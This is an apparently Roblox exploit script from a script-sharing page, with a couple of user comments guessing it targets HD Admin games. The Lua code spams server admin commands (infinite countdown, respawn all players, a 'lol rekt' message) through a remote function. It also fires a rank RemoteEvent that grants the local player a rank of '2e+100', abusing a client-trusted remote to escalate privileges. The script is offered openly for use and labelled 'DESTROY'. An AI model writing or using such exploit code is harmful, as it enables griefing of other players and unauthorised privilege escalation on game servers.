	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	

	

 
end)



game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui.RankPanel.Rank.RemoteEvent:FireServer(game.Players.LocalPlayer.Name, "2e+100")
game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui.RankPanel.Visible = true
game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui.RankPanel.Close.Activated:Connect(function()
game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui.RankPanel.Visible = false
end)

Features & Information

DESTROY

Community Comments (3)

ifoneifoneJul 6, 2025

which game tho

MaxxyMaxxyJul 7, 2025

my guess is HD admin games?

F2SX FGAME

More Scripts for Universal Scripts